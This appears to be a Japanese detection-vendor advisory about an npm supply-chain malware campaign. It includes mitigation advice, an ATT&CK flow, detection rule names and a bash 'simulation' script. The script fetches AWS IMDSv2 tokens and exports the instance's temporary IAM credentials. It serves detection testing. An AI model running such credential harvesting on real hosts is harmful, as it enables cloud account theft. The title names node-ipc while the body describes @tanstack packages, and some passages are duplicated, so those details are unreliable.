アクティブなサプライチェーン攻撃によりnode-ipcパッケージが危険にさらされる
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Socket の研究者たちは、 @tanstack 名前空間で公開されている 84 の npm パッケージに影響を与えるサプライチェーンの妥協を明らかにしました。悪意のあるアップデートは、GitHub Actions、AWS、HashiCorp Vault、および Kubernetes 環境から CI 関連の秘密を盗むために設計された難読化された JavaScript ファイルを導入しました。これにより、それらの資格情報を使用して npm への自己再公開が行われます。ペイロードはまた、Claude Code および VS Code 構成ディレクトリ内に永続性のフックを植え付けました。研究者たちは、この活動をより広範な Mini Shai-Hulud のサプライチェーン マルウェアキャンペーンと関連付けました。
調査
調査により、新たに追加されたファイル、 router_init.jsが特定されました。これには、文字列アレイの回転、追加の XOR および Base64 デコード層、デーモン化が使用され、その動作を隠すために使用されました。マルウェアは、環境変数、クラウド メタデータ サービス、および GitHub、AWS、Vault、Kubernetes に関連する API エンドポイントをターゲットにして資格情報を収集しました。GitHub Actions OIDC フェデレーションを乱用して npm 発行トークンを取得し、悪意のある optionalDependency on @tanstack/setupを挿入しました。流出トラフィックは、Session 非集中型メッセージングネットワークを介してルーティングされました。
軽減策
このキャンペーンの影響を受けた組織は、@tanstack/* パッケージ内のすべての パッケージ内容のハッシュを検証し、すべての CI およびクラウド資格情報を更新し、露出した OIDC フェデレーショングラントを取り消し、 .claude .claude and .vscode ディレクトリから許可されていないファイルを削除する必要があります。 filev2.getsession.org への外向きトラフィックをブロックし、npm パッケージの整合性制御を強化することで、さらなる露出を減少させることができます。GitHub Actions のワークフローもまた、サードパーティのアクションを固定し、 id-token 権限を最小化することによって堅牢にするべきです。
対応
保護者は、 router_init.js および関連するファイル名の存在を狩り、疑わしいプロセスのスパウンを監視し、識別されたクラウドメタデータエンドポイントへのアクセスに警戒を発するべきです。妥協されたパッケージは隔離され、悪意のあるフックは削除され、すべての露出された資格情報は直ちに更新されるべきです。セキュリティチームはまた、GitHub Actions の活動をレビューし、許可されていないトークン使用を確認し、公開されたすべての npm パッケージの起源を確認する全面的なレビューを実施するべきです。
"graph TB %% Class Definitions classDef technique fill:#e6f7ff classDef operator fill:#ffcc66 %% Nodes representing each ATT&CK technique a_initial_access["<b>Technique</b> – <b>T1195.001 Supply Chain Compromise</b><br/><b>Description</b>: Adversary compromises a software supply chain (e.g., malicious npm package) to gain initial access."] class a_initial_access technique b_execution["<b>Technique</b> – <b>T1129 Shared Modules</b><br/><b>Description</b>: Malicious shared module (router_init.js) runs automatically during package installation."] class b_execution technique c_persistence["<b>Technique</b> – <b>T1176.002 IDE Extensions</b><br/><b>Description</b>: Writes hidden files (.claude, .vscode) and hooks to maintain persistence via compromised IDE extensions."] class c_persistence technique d_def_evasion["<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b><br/><b>Description</b>: Payload is obfuscated to avoid detection.<br/><b>Technique</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/><b>Description</b>: Runtime routine de-obfuscates code before execution."] class d_def_evasion technique e_cred_access["<b>Technique</b> – <b>T1552.005 Unsecured Credentials</b><br/><b>Description</b>: Reads cloud instance metadata API for credentials.<br/><b>Technique</b> – <b>T1555.006 Cloud Secrets Management</b><br/><b>Description</b>: Retrieves secrets from cloud secret stores."] class e_cred_access technique f_account_disc["<b>Technique</b> – <b>T1087.004 Cloud Account</b><br/><b>Description</b>: Enumerates cloud account information to identify resources and privileges."] class f_account_disc technique g_cred_use["<b>Technique</b> – <b>T1078 Valid Accounts</b><br/><b>Description</b>: Uses harvested OIDC token as a valid account to publish further malicious packages."] class g_cred_use technique h_propagation["<b>Technique</b> – <b>T1195.001 Supply Chain Compromise</b><br/><b>Description</b>: Reuses malicious package via optionalDependencies and npm prepare hook to spread to downstream projects."] class h_propagation technique i_command_exec["<b>Technique</b> – <b>T1059.009 Cloud API Calls</b><br/><b>Description</b>: Executes commands by invoking GitHub, AWS and Vault APIs directly from the compromised environment."] class i_command_exec technique j_exfiltration["<b>Technique</b> – <b>T1041 Exfiltration Over C2 Channel</b><br/><b>Description</b>: Exfiltrates data over a peer-to-peer session channel established between compromised nodes."] class j_exfiltration technique k_remote_services["<b>Technique</b> – <b>T1021.007 Cloud Services</b><br/><b>Description</b>: Leverages GitHub GraphQL commits as a remote service to maintain command and control."] class k_remote_services technique %% Sequential flow connections a_initial_access –>|leads_to| b_execution b_execution –>|leads_to| c_persistence c_persistence –>|leads_to| d_def_evasion d_def_evasion –>|leads_to| e_cred_access e_cred_access –>|leads_to| f_account_disc f_account_disc –>|leads_to| g_cred_use g_cred_use –>|leads_to| h_propagation h_propagation –>|leads_to| i_command_exec i_command_exec –>|leads_to| j_exfiltration j_exfiltration –>|leads_to| k_remote_services "
攻撃フロー
検出
疑わしい実行可能ファイルのダウンロード (プロキシ経由)
表示
異常なディレクトリに作成された可能性のある Vscode 自動タスク構成ファイル [MACOS] (ファイルイベント経由)
表示
異常なディレクトリに作成された可能性のある Vscode 自動タスク構成ファイル [LINUX] (ファイルイベント経由)
表示
検出するための IOC (HashSha256): アクティブ サプライ チェーン 攻撃: node-ipc パッケージが侵害されました
表示
検出するための IOC (HashSha1): アクティブ サプライ チェーン 攻撃: node-ipc パッケージが侵害されました
表示
検出するための IOC (HashMd5): アクティブ サプライ チェーン 攻撃: node-ipc パッケージが侵害されました
表示
AWS 資格取得のための IMDSv2 と ECS タスク メタデータ エンドポイントの利用 [AWS Cloudtrail]
表示
シミュレーション実行
前提条件: テレメトリー & ベースライン プレフライト チェックが完了している必要があります。
根拠: このセクションは、検出ルールをトリガーするために設計された敵の技術 (TTP) の正確な実行を詳細に示しています。コマンドとナラティブは、特定された TTP に直接反映され、その検出論理が期待する正確なテレメトリーを生成することを目的としています。抽象的または関連性のない例は誤診につながります。
-
攻撃ナラティブ & コマンド:
- IMDSv2 セッショントークンの取得 攻撃者は、
PUTリクエストをトークンエンドポイントに TTL 21600 秒で発行します。 - トークンを使用して IAM ロール名をクエリします で公開されています
/latest/meta-data/iam/security-credentials/. - インスタンスプロファイルの一時的な IAM 資格情報を取得します (AccessKeyId, SecretAccessKey, Token) 。
- 後で使用するために資格情報をローカルに保存します(例:AWS API を呼び出す、ピボットする、またはパスワード噴霧攻撃を実行するため)。 locally for later use (e.g., to call AWS APIs, pivot, or conduct password‑spraying attacks).
これらの手順は、Sigma ルールに記載された特定の URI に HTTP トラフィックを生成し、VPC フロー ログでキャプチャされると、検出条件を満たすはずです。
- IMDSv2 セッショントークンの取得 攻撃者は、
-
回帰テストスクリプト:
#!/usr/bin/env bash # ------------------------------------------------- # スクリプト: aws_imds_credential_harvest.sh # 目的: IMDSv2/ECS メタデータを通じた資格収集のシミュレーション # ------------------------------------------------- set -euo pipefail # 1. IMDSv2 トークンを要求する TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" -s) if [[ -z "$TOKEN" ]]; then echo "[!] IMDSv2 トークンの取得に失敗しました" exit 1 fi echo "[*] IMDSv2 トークンを取得しました" # 2. インスタンスに関連付けられている IAM ロール名を取得する ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" -s http://169.254.169.254/latest/meta-data/iam/security-credentials/) if [[ -z "$ROLE_NAME" ]]; then echo "[!] IAM ロール名の取得に失敗しました" exit 1 fi echo "[*] インスタンス IAM ロール: $ROLE_NAME" # 3. ロールの一時的な資格情報を取得する CREDS_JSON=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME) echo "[*] 資格情報を取得しました:" echo "$CREDS_JSON" | jq . # 4. (オプション) 環境変数として後で AWS CLI 用にエクスポートする export AWS_ACCESS_KEY_ID=$(echo "$CREDS_JSON" | jq -r .AccessKeyId) export AWS_SECRET_ACCESS_KEY=$(echo "$CREDS_JSON" | jq -r .SecretAccessKey) export AWS_SESSION_TOKEN=$(echo "$CREDS_JSON" | jq -r .Token) echo "[*] 環境に資格情報をエクスポートしました(デモンストレーションのみ)。" # ------------------------------------------------- # スクリプトの終了 # ------------------------------------------------- -
クリーンアップコマンド:
# 一時的な資格情報を保持する環境変数を解除します unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN # 一時ファイルを削除します(このスクリプトでは作成されていません) echo "[*] クリーンアップ完了。"